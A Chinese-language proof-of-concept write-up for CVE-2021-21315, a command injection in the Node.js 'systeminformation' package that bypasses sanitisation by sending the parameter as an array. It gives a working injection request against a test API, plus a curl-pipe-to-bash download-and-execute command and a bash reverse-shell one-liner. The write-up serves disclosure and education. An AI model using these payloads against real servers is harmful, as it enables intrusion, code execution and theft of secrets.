CVE-2021-21315 PoC|Node.js命令注入漏洞poc

CVE-2021-21315 PoC|Node.js命令注入漏洞poc

CVE-2021-21315系统信息

这是CVE-2021-21315的概念证明,它影响到Node.JS的系统信息库(npm软件包“ systeminformation”)。npmjs.com/systeminformation

“请务必检查或清理传递给si.inetLatency(),si.inetChecksite(),si.services(),si.processLoad()的服务参数…只允许使用字符串,拒绝任何数组。字符串清理如预期般运作。”

因为它并没有很好地解释漏洞(我认为),所以我决定根据系统信息的漏洞版本编写小型应用程序。PoC包含:

  1. 使用明确的易受攻击的系统信息测试Node.js中制作的应用
  2. 简单测试有效负载即可在受影响的计算机上创建.txt文件

漏洞复现步骤:

  1. 在Linux服务器环境上运行应用程序
  2. 向site.com/api/getServices?name=nginx发出GET请求(nginx只是示例)

3.现在尝试发送这样的请求:

yoursite.com/api/getServices?name=$(echo -e 'Sekurak' > pwn.txt)

由于字符串清理,这将失败:

4.现在尝试发送请求:

yoursite.com/api/getServices?name[]=$(echo -e 'Sekurak' > pwn.txt)

这次,如果您查看“ name”值,则该值没有被清除-成功 !让我们看看命令是否已执行

成功!我们的命令已执行。当然,没有人关心“ pwn.txt”,但是潜在的攻击者可以:

  1. 上传内部文件,例如index.js(应用程序的核心,以及潜在的api keys,数据库连接字符串等)或其他文件
  2. 下载并执行脚本 curl -s http://server/path/script.sh | bash /dev/stdin arg1 arg2
  3. 反向shell bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
  4. 终止进程(您也可以终止我们的测试节点应用程序)
  5. 更邪恶的东西…

“命令注入”听起来很无辜,但是如果满足某些条件,它可能会产生巨大的影响

问题已在“系统信息” Creditis的5.3.1版本中修复为https://www.huntr.dev/users/EffectRenan(他发现了漏洞,但是在我看来,他的“ Poc”没有显示出现实世界的影响)

免责声明

该项目只能用于教育目的。未经事先许可,在目标系统上使用该软件是非法的,并且由于滥用此软件而造成的任何损失不构成作者的责任。

转载请注明出处及链接

GitHub